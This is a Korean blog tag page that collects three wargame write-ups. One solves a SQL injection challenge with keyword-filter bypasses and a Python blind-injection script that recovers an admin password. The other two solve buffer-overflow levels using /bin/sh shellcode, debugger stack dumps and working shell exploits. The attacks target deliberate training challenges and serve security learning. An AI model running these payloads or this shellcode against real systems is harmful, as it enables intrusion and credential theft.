'Golem' 태그의 글 목록

Golem

LORD OF SQL INJECTION [golem] 풀이 2019.11.01
해커스쿨 LOB LEVEL12 [golem -> darkknight] 풀이 2018.02.12
해커스쿨 LOB LEVEL11 [skeleton -> golem] 풀이 2018.02.12

PREV 1 NEXT

LORD OF SQL INJECTION [golem] 풀이

2019. 11. 1. 08:00

GOLEM

문제 코드:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>
Colored by Color Scripter

cs

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");

pw을 비교하기 때문에 blind sqli로 pw을 구해내야 한다.

그러나

if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");

로 인해서 or, and, substr(, = 을 사용할 수 없게 됐다. 대신 우회하여 사용해야 한다.

우회 방법은 아래와 같다.

or => ||

and => && (%26%26)

substr() => mid()

= => like

pw 길이 구하기

pw = 1' || '1'like'1' %26%26 length(pw) like 8%23

길이는 8이다. (이때까지 8이었으니 8로 때려 맞추면 된다.)

풀이 코드:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
key = ""
 
for i in range(8):
    for j in range(len(string)):
        #payload = "1' || '1'='1' &&(substring(pw,"+str(i+1)+",1)='"+string[j]+"')#"
        payload = "1' || '1'like'1' &&(mid(pw,"+str(i+1)+",1) like '"+string[j]+"')#"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie', 'PHPSESSID=your_cookie_value_here')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
        if "Hello admin" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"]"
            break
        else:
            print "[-] Fail!"
        time.sleep(0.1)
 
Colored by Color Scripter

cs

저작자표시 비영리 동일조건

'WAR GAME > Lord of SQLi' 카테고리의 다른 글

LORD OF SQL INJECTION [bugbear] 풀이 (0)	2019.11.04
LORD OF SQL INJECTION [darkknight] 풀이 (0)	2019.11.02
LORD OF SQL INJECTION [SKELETON] 풀이 (0)	2019.10.31
LORD OF SQL INJECTION [VAMPIRE] 풀이 (0)	2019.10.30
LORD OF SQL INJECTION [troll] 풀이 (0)	2019.10.29

해커스쿨 LOB LEVEL12 [golem -> darkknight] 풀이

2018. 2. 12. 23:28

해커스쿨 LOB LEVEL12 [golem -> darkknight] 풀이

M4ndU

해커스쿨 LOB [golem -> darkknight] 풀이입니다.

ID | golem

PW | cup of coffee

으로 로그인합니다.

\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.

$ bash2

그리고

$ ls -l

를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고,

$ cat [문제이름].c

를 이용해 소스코드를 확인합시다.

Password:

[golem@localhost golem]$ bash2

[golem@localhost golem]$ ls -l

total 16

-rwsr-sr-x 1 darkknig darkknig 12053 Mar 2 2010 darkknight

-rw-r--r-- 1 root root 355 Mar 29 2010 darkknight.c

[golem@localhost golem]$ cat darkknight.c

The Lord of the BOF : The Fellowship of the BOF

- darkknight

- FPO

#include <stdio.h>

#include <stdlib.h>

void problem_child(char *src)

{

char buffer[40];

strncpy(buffer, src, 41);

printf("%s\n", buffer);

}

main(int argc, char *argv[])

{

if(argc<2){

printf("argv error\n");

exit(0);

}

problem_child(argv[1]);

}

이번에는 버퍼오버플로우가 problem_child 함수에서 일어나는데, 1바이트밖에 조작할 수 없네요.

힌트로는 FPO가 있네요.

1바이트 오버플로우를 이용하면 ebp의 마지막 바이트를 조작할 수 있습니다.

함수의 에필로그인 leave 와 ret을 보면,

mov esp, ebp

pop ebp

pop eip

jmp eip

와 하는 일이 같은데, 우리가 ebp의 주소를 조작해 준다면

조작된 주소가 ebp에 담기고 (pop ebp)

main함수 에필로그에서

조작된 ebp가 esp에 담긴다. (mov esp, ebp)

[esp-1][esp-4]까지 ebp가 되고 (pop ebp)

[esp-5][esp-8]까지 eip가 되면서 (pop eip)

eip가 조작될 수 있다.

일단 값을 넣고

스택을 한번봅시다.

[golem@localhost tmp]$ ./darkknight `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xff"*100'`

릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?

??퓹懶엥?옹 @

Segmentation fault (core dumped)

[golem@localhost tmp]$ gdb -c core -q

Core was generated by `./darkknight 릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?

?'.

Program terminated with signal 11, Segmentation fault.

#0 0xfffeebbf in ?? ()

(gdb) x/100x 0xbffffa50

0xbffffa50: 0xbffffa54 0x90909090 0x90909090 0x90909090

0xbffffa60: 0x31909090 0x2f6850c0 0x6868732f 0x6e69622f

0xbffffa70: 0x5350e389 0xc289e189 0x80cd0bb0 0xbffffaff

0xbffffa80: 0x0804849e 0xbffffbd4 0xbffffaa8 0x400309cb

buffer의 시작주소인 0xbffffa54의 값이 0xbffffa50에 있고

41번째에 넣은 0xff로 인해 ebp가 0xbffffaff로 조작된 것을 확인할 수 있습니다.

이 ebp를 0xbffffa4c으로 조작하면 eip가 buffer의 시작주소로 조작이 되겠죠.

[golem@localhost golem]$ ./darkknight `python -c 'print "\x90"*15+"\x31\xc0\x50\ x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\ xcd\x80"+"\x4c"*100'`

릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?

?L?퓹懶엥?옹 @

bash$ my-pass

euid = 512

new attacker

성공입니다. 다음레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏ

저작자표시 비영리 동일조건

'System Hacking > LOB Redhat' 카테고리의 다른 글

해커스쿨 LOB LEVEL14 [bugbear -> giant] 풀이 (0)	2018.02.13
해커스쿨 LOB LEVEL13 [darkknight -> bugbear] 풀이 (0)	2018.02.13
해커스쿨 LOB LEVEL11 [skeleton -> golem] 풀이 (0)	2018.02.12
해커스쿨 LOB LEVEL10 [vampire -> skeleton] 풀이 (4)	2018.02.11
해커스쿨 LOB LEVEL9 [troll -> vampire] 풀이 (0)	2018.02.11

해커스쿨 LOB LEVEL11 [skeleton -> golem] 풀이

2018. 2. 12. 00:11

해커스쿨 LOB LEVEL11 [skeleton -> golem] 풀이

M4ndU

해커스쿨 LOB [skeleton -> golem] 풀이입니다.

ID | skeleton

PW | shellcoder

으로 로그인합니다.

\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.

$ bash2

그리고

$ ls -l

를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고,

$ cat [문제이름].c

를 이용해 소스코드를 확인합시다.

Password:

[skeleton@localhost skeleton]$ bash2

[skeleton@localhost skeleton]$ ls -l

total 16

-rwsr-sr-x 1 golem golem 12199 Mar 2 2010 golem

-rw-r--r-- 1 root root 539 Mar 29 2010 golem.c

[skeleton@localhost skeleton]$ cat golem.c

The Lord of the BOF : The Fellowship of the BOF

- golem

- stack destroyer

#include <stdio.h>

#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])

{

char buffer[40];

int i;

if(argc < 2){

printf("argv error\n");

exit(0);

}

if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

// stack destroyer!

memset(buffer, 0, 44);

memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

리턴주소부분을 제외하고 모두 0으로 초기화 시켜버리네요....

하지만 남아있는 공간이 하나 있습니다. 바로 공유라이브러리입니다!

일단 문제를 복사하고

[skeleton@localhost skeleton]$ mkdir tmp

[skeleton@localhost skeleton]$ cp golem tmp/

[skeleton@localhost skeleton]$ cd tmp/

빈파일을 하나 만들어서 쉘코드 이름으로 컴파일합니다.

[skeleton@localhost tmp]$ cat > a.c

[skeleton@localhost tmp]$ ls

a.c golem

[skeleton@localhost tmp]$ gcc -fPIC -shared a.c -o `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

그리고 환경변수 LD_PRELOAD에 등록을 해줍니다.

[skeleton@localhost tmp]$ export LD_PRELOAD=./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

이제 위치를 확인합니다.

[skeleton@localhost tmp]$ gdb golem -q

(gdb) b main

Breakpoint 1 at 0x8048476

(gdb) r `python -c 'print "D"*44+"\xbf"*4'`

Starting program: /home/skeleton/tmp/golem `python -c 'print "D"*44+"\xbf"*4'`

Breakpoint 1, 0x8048476 in main ()

(gdb) x/1000x $esp-4000

(생략)

0xbffff57c: 0x40017000 0x00002fb2 0x40013868 0xbffff754

0xbffff58c: 0x4000380e 0x40014468 0x90902f2e 0x90909090

0xbffff59c: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff5ac: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff5bc: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff5cc: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff5dc: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff5ec: 0x90909090 0x90909090 0x90909090 0x11eb9090

0xbffff5fc: 0xb1c9315e 0x0e6c8032 0xe98001ff 0xebf67501

0xbffff60c: 0xffeae805 0xc132ffff 0x30306951 0x30696974

0xbffff61c: 0x8a6f6a63 0x8a5451e4 0x0cb19ae2 0x400081ce

0xbffff62c: 0x40013868 0x4000220c 0xbffffb60 0x00000000

0xbffff63c: 0x00000000 0x00000000 0x00000000 0x40014a00

잘있네요. 0xbffff5cc를 리턴주소로 하겠습니다.

[skeleton@localhost skeleton]$ ./golem `python -c 'print "A"*44+"\xcc\xf5\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA係?

bash$ my-pass

euid = 511

cup of coffee

다음레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏ

저작자표시 비영리 동일조건

'System Hacking > LOB Redhat' 카테고리의 다른 글

해커스쿨 LOB LEVEL13 [darkknight -> bugbear] 풀이 (0)	2018.02.13
해커스쿨 LOB LEVEL12 [golem -> darkknight] 풀이 (0)	2018.02.12
해커스쿨 LOB LEVEL10 [vampire -> skeleton] 풀이 (4)	2018.02.11
해커스쿨 LOB LEVEL9 [troll -> vampire] 풀이 (0)	2018.02.11
해커스쿨 LOB LEVEL8 [orge -> troll] 풀이 (0)	2018.02.11

PREV 1 NEXT

M4ndU의 만두만두한 블로그

Golem

LORD OF SQL INJECTION [golem] 풀이

GOLEM

'WAR GAME > Lord of SQLi' 카테고리의 다른 글

해커스쿨 LOB LEVEL12 [golem -> darkknight] 풀이

'System Hacking > LOB Redhat' 카테고리의 다른 글

해커스쿨 LOB LEVEL11 [skeleton -> golem] 풀이

'System Hacking > LOB Redhat' 카테고리의 다른 글

+ Recent posts

티스토리툴바